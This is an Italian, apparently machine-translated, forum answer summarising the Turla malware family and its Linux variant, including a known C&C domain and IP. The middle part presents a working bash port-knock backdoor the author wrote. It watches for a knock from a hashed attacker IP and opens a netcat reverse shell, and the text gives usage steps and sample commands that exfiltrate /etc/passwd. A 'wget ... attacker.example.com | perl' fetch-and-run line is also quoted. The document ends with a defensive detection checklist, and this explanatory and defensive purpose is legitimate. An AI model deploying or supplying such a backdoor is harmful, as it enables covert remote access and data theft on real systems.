Trojan Turla basato su Linux

TURLA è la fase finale di un'ampia e sofisticata famiglia di malware. Esistono versioni di Windows conosciute almeno dal 2010. Questa presentazione di 40 pagine è la risorsa più completa che abbia mai visto, per entrambe le piattaforme.

TURLA - sviluppo e operazioni

Alcune funzionalità di Windows

• Fase 0:fase di attacco - vettore di infezione
• Fase 1:fase di ricognizione - backdoor iniziale
• Fase 2:movimenti laterali
• Fase 3:accesso alla fase stabilita -TURLA distribuito
• In ogni fase possono smettere se perdono interesse per il bersaglio

Fase 0:vettori di iniezione

• Spear Phishing (CVE-2013-3346)(CVE-2013-5065)

• Watering Holes [Adobe Update social engineering / Java exploit (CVE-2012-1723), Adobe Flash exploit o Internet Explorer 6,7,8 exploit]

• Compromissione del fornitore di terze parti

Fase 1:Fase di ricognizione

• Backdoor iniziale:WipBot/Epic/TavDig

• WipBot è una combinazione di exploit zero-day e CVE-2013-3346

• Esporta le funzioni con gli stessi nomi di TURLA. Nessun'altra somiglianza

• Interrompe il debugging e la maggior parte delle sandbox di malware

• Elabora gli hop più volte, cancella la propria sezione PE

• Ulteriori dettagli nel report di Kaspersky Lab

Fase 2:movimenti laterali

• Perfeziona C&C

• Ulteriore penetrazione nella rete

• Utilizza la nuova backdoor

• Ottiene le credenziali di amministratore di dominio

Fase 3:Turla

• Rilasciato su macchine selezionate per un compromesso a lungo termine

• Le macchine possono essere compromesse per anni senza essere rilevate

Altre risorse

• Il 'Penguin Turla' - Kaspersky Lab (dettagli specifici per Linux)

• Rapporto Symantec - Turla

Aspetti salienti di Linux

• Modulo Turla scritto in C/C++

• Basato su cd00r

• L'eseguibile è collegato staticamente a più librerie

• La sua funzionalità include comunicazioni di rete nascoste, esecuzione di comandi remoti arbitrari e gestione remota

• Gran parte del suo codice si basa su fonti pubbliche

• Impossibile essere rilevato con netstat

• No richiedono l'accesso root

Caratteristiche eseguibili Linux

• Eseguibile LSB ELF a 32 bit, Intel 80386, versione 1 (SYSV), collegato staticamente, per GNU/Linux 2.2.5, rimosso

Librerie Linux collegate staticamente

• glibc2.3.2 - la libreria GNU C

• openssl v0.9.6 - una vecchia libreria OpenSSL

• libpcap - libreria di acquisizione di rete di tcpdump

Dettagli Linux C&C

• Il primo stadio C&C è hardcoded. Attività nota @ news-bbc.podzone[.]org

• pDNS IP:80.248.65.183

Dettagli di avvio/esecuzione di Linux

• Il processo richiede due parametri:ID (un valore numerico utilizzato come parte del "pacchetto magico per l'autenticazione") e un nome di interfaccia di rete esistente

• I parametri possono essere inseriti in due modi diversi:da STDIN, o da dropper lanciando il campione

• Dopo aver immesso l'ID e il nome dell'interfaccia e avviato il processo, viene restituito il PID del processo della backdoor

Linux Magic Packet

• Collega staticamente le librerie PCAP

• Ottiene il socket raw, applica il filtro, cattura i pacchetti

• Verifica la presenza di un numero ACK nell'intestazione TCP o il secondo byte dal corpo del pacchetto UDP

• Se la condizione è soddisfatta, l'esecuzione passa al contenuto del payload del pacchetto e crea un socket regolare

• La backdoor utilizza un nuovo socket per connettersi all'indirizzo di origine dei pacchetti magici

• Backdoor segnala il proprio PID e IP, attende di ricevere comandi

• I comandi in arrivo vengono eseguiti con uno script "/bin/sh -c "

Note finali

Tutto ciò che riguardava la versione Linux proveniva dal rapporto Kaspersky. Sfortunatamente, il rilevamento sembra essere molto difficile a questo punto.

"Sebbene fosse nota l'esistenza di varianti Linux del framework Turla, non ne abbiamo ancora viste in circolazione." - Kaspersky Lab

Come funziona:

Breve introduzione

Per trovare un modo per rilevarli, ho lavorato molto su concetti e metodi.

Per questo, ho scritto velocemente un piccolo script bash che funziona più o meno allo stesso modo.

Da lì e con alcune conoscenze aggiuntive sui concetti di Un*x, inserisco la mia lista di controllo che potrebbe aiutare a trovare questo trojan funzionante in qualsiasi sistema.

Bash ha riscritto Turla knock-door

Per capire come funziona, ho scritto questo:

(Questo deve essere eseguito sull'host di destinazione, da qualche exploit remoto, virus o altro.)

#!/bin/bash

myIpSum=${1:-1b673d1250747dd45696ff954aceed02}
myIpSalt=SaltMyIP        # Making IpSum more difficult to retrieve
printf -v bport %04X ${2:-22} # port to watch for incoming ``knock''
printf -v rport %d   ${3:-80} # port listen on attacker host

while true;do
    while IFS=': ' read seq loci locp remi remp foo;do
        [ -z "${seq//[0-9]}" ] &&
            [ "$locp" == "$bport" ] &&
            [ "$remp" != "0000" ] &&
            myIpAdd=$[16#${remi:6:2}].$[16#${remi:4:2}] &&
            myIpAdd+=.$[16#${remi:2:2}].$[16#${remi:0:2}] &&
            chksum=($(md5sum <<<$myIpSalt$myIpAdd)) &&
            [ "$chksum" == "$myIpSum" ] &&
            nc -w 10 -c "/bin/bash ${4} 2>&1" $myIpAdd $rport
    done < /proc/net/tcp
    read -t .5 -n 1
    [ "$REPLY" == "q" ] && exit 0
  done

Questo non è totalmente non rilevabile ma...

Funzionalità

• Totalmente non rilevabile utilizzando netstat , rimanendo in ascolto per le connessioni dell'attaccante.
• Usa [In->Out] come porte tcp [RANDOM->80] per rendere la connessione simile a qualsiasi navigazione connessione.
• Attendi l'IP specifico (con hash, quindi non leggibile) sulla porta locale 22, senza usando promiscuo mode né richiede root privilegio
• Una volta rilevata una connessione in entrata dall'IP specifico (Knock! ), questo apre una connessione a questo IP, sulla porta 80 per sembrare una connessione di navigazione e offri una bash , di nuovo su questa connessione.

Nota: Vero trojan potrebbe utilizzare SSL e intestazioni HTTP reali per funzionare anche tramite proxy!!

Questo accetta 4 argomenti:

$0 [myIpSum [KnockDoorPort [myPort [-i]]]]

• myIpSUm è l'hash dell'attaccante salato IP di. Potrebbe essere reso usando md5sum <<<SaltMyIP192.168.1.31 (Il sale potrebbe essere cambiato nel copione).
• KnockDoorPort -> bport è una qualsiasi porta già associata, utilizzata sull'host di destinazione (22 per esempio se la destinazione serve SSH, ma è possibile utilizzare qualsiasi porta aperta)
• myPort -> rport è la porta locale dell'attaccante utilizzata per la connessione in entrata (80 per sembrare una connessione http in uscita. Ovviamente l'attaccante deve essere root sul suo host!)
• -i flag potrebbe essere usato per eseguire bash interattivamente

Fase dell'infezione

0. Il primo passaggio consiste nell'eseguire questo script utilizzando qualsiasi exploit remoto, come shellshock o qualsiasi overflow del buffer .

1. In secondo luogo, l'aggressore deve conoscere l'IP del bersaglio per poter inviare un knock door sulla porta 22

2. Usa da IP dell'aggressore (come root per l'ascolto sulla porta tcp 80), attendi la connessione in entrata del bersaglio.

3. Stai logger in una shell sul bersaglio!

   bash -c "nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
        ";nc -l -p -w 3 -q 3 80 <<<"$remoteCommandLine with args"
   

Esempio:

bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
    ';nc -l -w 5 -q 3 -p 80 <<<uptime
18:43:00 up 21 days,  6:19,  1 user,  load average: 0.00, 0.01, 0.00

o

bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
    ';nc -l -w 5 -q 3 -p 80 <<<'tar -zcC /etc passwd group 2>/dev/null' |\
    tar -ztvf -
-rw-r--r-- root/root      1222 2011-11-19 10:00 passwd
-rw-r--r-- root/root       611 2011-11-19 10:00 group

Non così facile da rilevare

Mentre lo script rimane in esecuzione sull'host di destinazione e nessuna connessione dell'attaccante è aperta, lo script in esecuzione non è visibile utilizzando netcat .

Knock vengono eseguiti una volta sulla porta 22 dove avere molti problemi di connessione è normale . La connessione shell reale assomiglia a qualsiasi connessione http in uscita.

Risposte:

0. Come vengono infettate le macchine Linux

   Questo è un trojan , quindi questa domanda non ha davvero importanza... (vedi Shellshock, per un esempio)

1. È coinvolta l'escalation dei privilegi o l'intera cosa accade solo sotto l'utente infetto (ad esempio uid 1000)

   No, uno degli obiettivi è consentire all'attaccante di cercare un modo per eseguire l'escalation dei privilegi .

2. Dove "risiede" il codice malware sulla macchina infetta

   1. Ovunque e da nessuna parte:se lo esegui come allegato, potresti sapere dove li hai archiviati. Se viene eseguito da un exploit remoto, potrebbero eliminare il file binario una volta eseguito.

   2. Se Turla è un binario (scritto in C), thay have da memorizzare da qualche parte nel tuo sistema Un*x, con i flag eseguibili impostati per essere eseguiti. Il filesystem recente consente di eliminarli dopo l'esecuzione, ma gli inode devono rimanere intatti!
      Questo potrebbe essere rivelato durante la ricerca di binari che girano nel tuo sistema ma si trovano nello standard PATH .

   3. Se trojan è uno script, solo il binario deve essere collegato nel filesystem, quindi lo script potrebbe essere cancellato o anche eseguito come STDIN e non memorizzato affatto.
      wget -qO - http://attacker.example.com/virus.pl | perl

3. oltre a qualsiasi altro dettaglio interessante

   Prova il mio script bash...

Elenco di controllo (aggiunto:2015-02-04)

• Cerca forked pid (dove Parent Pid ==1)

   grep PPid:\\s1$ /proc/*/status
  

• Cerca processi che non eseguono binari da PATH

   for pid in $(ps axho pid);do
       readlink /proc/$pid/exe |
         sed 's/\/[^\/]*$//'|
         grep -q "^${PATH//:/$\|^}$" ||
           printf "%10d  %-16s  %s\n" $pid "$(
               sed 's/Name:[\t ]*//;q' /proc/$pid/status
             )" "$(
               readlink /proc/$pid/exe
             )"
     done
  

• Cerca processi in esecuzione da molto tempo

   ps axho pid,etime,user,cmd
  

  ...

   ps axho pid,etimes,user,cmd | grep -v '[0-9] root ' | sort -nk2
  

• Script:cerca il processo che crea una sorta di occultamento:confronta exe e command line

   for pid in $( grep PPid:\\s1$ /proc/*/status | cut -d/ -f3 ) ;do
       printf "%10d  %-40s  %s\n" $pid "$(
           readlink /proc/$pid/exe)" "$(</proc/$pid/cmdline)"
     done
  

• Usando apparmor , potresti controllare se il processo accede allo tcp stack (e/o stack udp ).

• Usando tcpdump , c'è un lavoro forte, ma una soluzione efficiente:

  Fai attenzione alle uscite collegamento che effettua qualsiasi tipo di richiesta, diventa una risposta non necessariamente subito dopo, ma invia subito la prossima richiesta dopo aver ricevuto la prima risposta, non preoccuparti della risposta dell'ultima richiesta:si chiuderà alla ricezione di exit direttiva, dicendo qualcosa come logout. , che potrebbe essere guidata come l'ultima richiesta http della sessione corrente , ma chiudi prima ricevere alcuna risposta http .

  Infatti, devi trovare una connessione in uscita in cui gli scambi di dati non corrispondano allo schema regolare della connessione in uscita ma a uno schema ibrido di avvio del server - connessione in entrata - arresto del server .

  Naturalmente, questo deve essere intrappolato perché nessuna connessione è permanentemente aperta.

• Fare statistiche sulle chiamate di sistema (usando apparmor)

  grazie ad alphanet per questa idea

  Crea statistiche per ogni processo in esecuzione e

  Inviali a uno strumento bayesiano per calcolare profili regolari

  Per essere avvisato quando un nuovo processo non corrisponde ai profili regolari (o anche quando un processo in esecuzione cambia).